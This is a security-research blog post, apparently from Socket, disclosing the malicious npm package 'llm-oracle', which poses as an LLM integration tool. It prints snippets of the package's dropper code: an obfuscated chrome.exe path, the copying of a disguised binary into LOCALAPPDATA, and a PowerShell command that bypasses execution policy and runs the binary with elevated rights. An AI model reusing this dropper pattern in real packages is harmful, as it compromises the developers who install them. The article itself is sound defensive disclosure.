Research
Security News
Quasar RAT Disguised as an npm Package for Detecting Vulnerabilities in Ethereum Smart Contracts
Socket researchers uncover a malicious npm package posing as a tool for detecting vulnerabilities in Etherium smart contracts.
Research
Security News
Socket Research Team
October 24, 2024
As the field of artificial intelligence (AI) and machine learning (ML) continues to evolve at a rapid pace, developers are always on the lookout for new tools to simplify their work with large language models (LLMs). Open-source libraries and packages are central to this progress, but this convenience comes with hidden risks.
Malicious actors are now exploiting the popularity of LLM research to spread malware through seemingly useful npm packages. One such package, ‘llm-oracle’, presents itself as a helpful tool for developers wishing to integrate LLMs into their projects, while hiding malicious code designed to compromise the systems of those who install it.
Package names:
https://socket.dev/npm/package/redis-oracle/files/1.0.5
https://socket.dev/npm/package/llm-oracle/files/1.0.0
The ‘llm-oracle’ package appears to be an ideal tool for LLM practitioners, offering features like seamless integration with various different LLMs, customizable model responses, and secure API interactions. It’s easy to imagine how developers excited about exploring new machine learning models would be lured by this package. The package description might lead developers to believe they are installing a state-of-the-art solution for LLM integration.
However, beneath this appealing surface lies a sinister motive: this package contains malicious code designed to target and exploit those who download it. While a similar package, ‘redis-oracle’, was recently taken down due to its malicious intent, ‘llm-oracle’ remains live on NPM.
The malicious code inside ‘llm-oracle’ is hidden behind layers of obfuscation and disguised functionality, making it hard to detect without a close examination. Here’s how this attack works, step by step:
The malware in ‘llm-oracle’ employs obfuscation techniques, using encoded characters to disguise its true purpose. This portion of the code, for example, obfuscates the creation of a file named chrome.exe
:
const targetFilePath = path.join(
process.env.LOCALAPPDATA,
String('\\\\u0063\\\\u0068\\\\u0072\\\\u006f\\\\u006d\\\\u0065\\\\u002e\\\\u0065\\\\u0078\\\\u0065').replace(/\\\\+/g, '')
);
This code decodes to chrome.exe
, a name commonly associated with a legitimate process, which helps the malware avoid suspicion. By using obfuscated Unicode characters, the script disguises its true intention from anyone reviewing the code, including automated scanning tools.
The malicious package also includes a file named ‘Base64Decode.ts’, which is falsely presented as a TypeScript utility file. In reality, this file is a malicious binary designed to harm the system. Once the package is installed, the script copies this file to the LOCALAPPDATA
directory, renaming it to chrome.exe
:
const modelFilePath = path.join(currentDir, 'Base64Decode.ts');
// Copy the malicious file to the target location and rename it
if (!fs.existsSync(targetFilePath)) {
fs.copyFileSync(modelFilePath, targetFilePath);
}
Renaming the file to chrome.exe
disguises the malicious binary as a legitimate executable file, making it less likely to raise alarms during routine system checks.
Once the ‘Base64Decode.ts’ file has been copied and renamed, the malware executes it using PowerShell with elevated privileges. This is where the real damage begins:
exec(`powershell -ExecutionPolicy Bypass Start-Process -FilePath '${targetFilePath}' -Verb RunAs`, (error, stdout, stderr) => {
// Executes the malicious binary with administrative permissions
});
The -ExecutionPolicy Bypass
flag in PowerShell allows the malware to bypass system security policies, and the -Verb RunAs
flag ensures that the malicious script runs with administrative rights. With these elevated privileges, the malware can carry out harmful activities on the victim’s system without being restricted by user-level permissions.
At the core of the attack is the ‘Base64Decode.ts’ file, which is not the harmless TypeScript file it pretends to be. Instead, it is a malicious binary designed to perform a range of harmful activities once executed:
chrome.exe
), the malware ensures that it remains on the system even after attempts to remove it.While the ‘redis-oracle’ package was quickly removed from npm after its malicious intent was discovered, ‘llm-oracle’ remains active. Its primary danger lies in how well it disguises its malicious activities. Here’s why it poses a significant threat to developers and researchers:
Despite the takedown of ‘redis-oracle’, ‘llm-oracle’ remains live on npm and continues to pose a serious risk to anyone who installs it. Practitioners in the LLM field, eager to explore new tools, may fall victim to this malware without realizing it.
chrome.exe
located in the LOCALAPPDATA
directory.The ‘llm-oracle’ npm package shows how malicious actors can exploit the open-source ecosystem to target software developers, particularly in trending fields like LLM research. By disguising itself as a helpful tool, it lures users into installing malware that can compromise their systems.
This article serves as a warning to the developer and research community: Be cautious when installing new npm packages, especially those that claim to offer attractive features for large language models or AI research. The ‘llm-oracle’ package remains live, and its real purpose is far from what it advertises. The Socket research team reported this package to the npm registry and we would expect it to be taken down shortly.
As always, proceed with caution and review any packages you install to protect your system from this growing threat.
By staying vigilant and taking proactive measures, you can protect your system from the dangers hidden within malicious npm packages like ‘llm-oracle’. Stay safe, and always review the code behind the tools you rely on.
Credits to the Socket Research Team: Dhanesh Dodia, Sambarathi Sai, Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
Security News
Socket researchers uncover a malicious npm package posing as a tool for detecting vulnerabilities in Etherium smart contracts.
Security News
Research
A supply chain attack on Rspack's npm packages injected cryptomining malware, potentially impacting thousands of developers.
Research
Security News
Socket researchers discovered a malware campaign on npm delivering the Skuld infostealer via typosquatted packages, exposing sensitive data.